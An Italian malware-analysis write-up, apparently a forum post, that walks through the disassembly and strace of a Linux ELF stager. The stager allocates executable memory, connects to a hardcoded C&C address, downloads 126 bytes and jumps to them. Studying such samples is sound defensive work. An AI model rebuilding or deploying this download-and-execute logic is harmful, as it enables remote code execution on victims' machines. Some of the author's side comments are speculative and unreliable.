;reverse engineering, analisi statica e dinamica di un ELF Malware, partendo dal disassemblato;
;sito molto interessante, dove abbiamo la lista di tutte le syscall di linux, con i relativi parametri passati alla syscall attraverso i registri:
link[0x00400078]> pdf
0x00400078 xor rdi, rdi
0x0040007b push 9 ;9
0x0040007d pop rax ;9 mmap
0x0040007e cdq
0x0040007f mov dh, 0x10 ;16
0x00400081 mov rsi, rdx ;arg3
0x00400084 xor r9, r9
0x00400087 push 0x22 ;34
0x00400089 pop r10
%rdi
**unsigned long** addr
%rsi
**unsigned long** len
%rdx
**unsigned long** prot
%r10
**unsigned long** flags
%r8
**unsigned long** fd
%r9
**unsigned long** off
;se addr è NULL, il kernel sceglie l'indirizzo (allineato alla pagina) in cui creare la mappatura; questo è il metodo più portabile per creare una nuova mappatura; anche se r8 in questa parte di codice assembly non viene valorizzato, risulta poi abbia valore 0;
0x0040008b mov dl, 7
0x0040008d syscall
;rdx = 00001007
;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
;void *mmap (0x00000000, 0x00001000, 0x00001007, 0x00000000, 0x00000000, 0x00000000)
;mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
;07 = 111 --> PROT_READ|PROT_WRITE|PROT_EXEC
;l'fd 0 è lo stdin, quindi sta mappando lo stdin in memoria? per quale motivo? facendo delle prove in c con questo tipo di chiamata e poi facendo una memcpy nell'indirizzo ritornato dalla mmap, analizzando con gdb, funziona come una malloc, anzi una calloc, visto che ho tutti i 4096 byte a zero; potrebbe essere la memoria che viene allocata per il buffer in cui il malware va a scrivere i 126 byte scaricati dal C&C;
;qui un articolo sulle differenze tra malloc e mmap; vantaggi e svantaggi :
link;il codice C che ho utilizzato per analizzare l'mmap
int main(void)
{
void *ptr = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
if (MAP_FAILED == ptr) {
fprintf(stderr, "mmap(): error '%m' (%d)\n", errno);
return 1;
} else {
memcpy(ptr, "hello", 6);
}
return 0;
}
0x0040008f test rax, rax
0x00400092 js 0x4000e5
;qui controlla se l'mmap ha ritornato il valore -1 e in caso salta, salta se c'è il segno
0x00400094 push 0xa ; 10
0x00400096 pop r9
0x00400098 push rax
0x00400099 push 0x29 ;41
0x0040009b pop rax
0x0040009c cdq
0x0040009d push 2 ;2
0x0040009f pop rdi
0x004000a0 push 1 ;1
0x004000a2 pop rsi
0x004000a3 syscall
;qui abbiamo 41 in rax, quindi la syscall che viene chiamata è la socket che va a creare un endpoint per una comunicazione;
;rdi, rsi, rdx, sono i 3 parametri della socket
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
;rdi = 2, AF_INET
;rsi = 1, SOCK_STREAM
;rdx = 1007
;in rdx dovrebbe essere rimasto 1007, in realtà ci dovrebbe essere il tipo di protocollo della socket;
;se l'argomento _protocol_ è diverso da zero, deve specificare un protocollo supportato dalla famiglia di indirizzi. Se l'argomento _protocol_ è zero, deve essere utilizzato il protocollo predefinito per questa famiglia e tipo di indirizzo. I protocolli supportati dal sistema sono definiti dall'implementazione.
;il livello di opzione socket per IP è IPPROTO_IP. Un flag intero booleano è zero quando è falso, altrimenti vero; immagino che essendo rdx uguale a 1007, il flag intero booleano sia considerato vero e quindi sia settato come protocollo IPPROTO_IP; lo si vede anche dallo strace del malware;
execve("./malware.sample2", ["./malware.sample2"], 0x7ffe3cf26c60 /* 48 vars */) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7fb4dbcfe000
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")}, 16) = -1 ENETUNREACH (Network is unreachable)
nanosleep({tv_sec=5, tv_nsec=0}
;list of IP protocol numbers:
link;int socket(int domain, int type, int protocol);
;socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
;in teoria con SOCK_STREAM, il protocollo dovrebbe essere 0 o IPPROTO_TCP, ma visto che rdx è diverso da 0 viene settato a IPPROTO_IP? boh
0x004000a5 test rax, rax
0x004000a8 js 0x4000e5
;controlla se è andata a buon fine la socket altrimenti salta, se in rax abbiamo -1
0x004000aa xchg rdi, rax
;mette il numero int ritornato dalla syscall socket in rdi
0x004000ac movabs rcx, 0x8aca52adfb200002
0x004000b6 push rcx
0x004000b7 mov rsi, rsp
0x004000ba push 0x10 ;16
0x004000bc pop rdx
0x004000bd push 0x2a ;42
0x004000bf pop rax
0x004000c0 syscall
;in rdi abbiamo l'fd, il file descriptor
;in rsi l'indirizzo alla struttura che abbiamo messo in rcx, e poi in rsi attraverso lo stack; in rdx la lunghezza, 16 byte, e in rax 42 che è la syscall connect;
;ecco i 16 byte della struttura il cui indirizzo risiede in rsi :
;0x8aca52ad
;8a 138
;ca 202
;52 82
;ad 173
;173.82.202.138
;little endian ;fb20 --> 20fb --> 8443 port
;0002 --> AF_INET
;{sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")
;connect(3, {sa_family=AF_INET, sin_port=htons(8443), sin_addr=inet_addr("173.82.202.138")}, 16)
;la struttura che contiene l'ip di quel che potrebbe essere il C&C (Command&Control) e la porta alla quale la syscall connect deve provare a connettersi
;se ha successo la connessione in rax abbiamo il valore 0
0x004000c2 pop rcx
0x004000c3 test rax, rax
0x004000c6 jns 0x4000ed
;risultato della connect salta se ha avuto buon esito la connessione e in questo caso in rax abbiamo il valore 0;
0x004000c8 dec r9
0x004000cb je 0x4000e5
;salta avanti se r9 è 0, il contatore era partito da 10
0x004000cd push rdi
0x004000ce push 0x23 ;35
0x004000d0 pop rax
0x004000d1 push 0
0x004000d3 push 5 ;5
0x004000d5 mov rdi, rsp
0x004000d8 xor rsi, rsi
0x004000db syscall
;la 35 è la syscall nanosleep, nanosleep({tv_sec=5, tv_nsec=0}
;nanosleep - high-resolution sleep
;int nanosleep(const struct timespec *req, struct timespec *rem);
;si ferma per 5 secondi poi riprova la connessione
0x004000dd pop rcx
0x004000de pop rcx
0x004000df pop rdi
0x004000e0 test rax, rax
0x004000e3 jns 0x4000ac
;salta se non fallisce la nanosleep, dopo aver salvato i registri sullo stack e torna indietro per rifare la connect; quindi aspetta 5 secondi, poi torna indietro e riprova la connect verso il C&C, questo per r9 volte, quindi 10 volte;
;dopo 10 tentativi di connect esce
0x004000e5 push 0x3c ;60
0x004000e7 pop rax
0x004000e8 push 1 ;1
0x004000ea pop rdi
0x004000eb syscall
;questa è una exit con valore 1
;che cos'è il codice di uscita 1? Il codice di uscita 1 indica che un container è stato arrestato a causa di un errore dell'applicazione o perché l'immagine puntava a un file non valido.
0x004000ed pop rsi ;l'indirizzo di qualche buffer?
0x004000ee push 0x7e ;126
0x004000f0 pop rdx
0x004000f1 syscall
;rsi è l'indirizzo del buffer dove andare a scrivere i 126 byte
;rdi è il fd del socket, quindi andiamo a leggere da li
;qui dovrebbe esserci la syscall read visto che abbiamo rax a 0, in rdx abbiamo il valore 126; legge 126 byte dal C&C; non sappiamo cosa siano; questi 126 byte sono messi in un buffer (quello allocato dalla mmap); presumibilmente è del codice, perchè alla fine della routine fa una jmp all'indirizzo del buffer, quindi andrebbe ad eseguire il codice appena scaricato dal C&C;
0x004000f3 test rax, rax
0x004000f6 js 0x4000e5
0x004000f8 jmp rsi
;salta verso l'indirizzo del buffer ed esegue i 126 byte che abbiamo scaricato dal C&C
VirusTotal:
www.virustotal.com/gui/file/eac3...Hybrid Analysis:
www.hybrid-analysis.com/sample/eac3...Edited by AKIRA BASHO - 19/11/2023, 14:32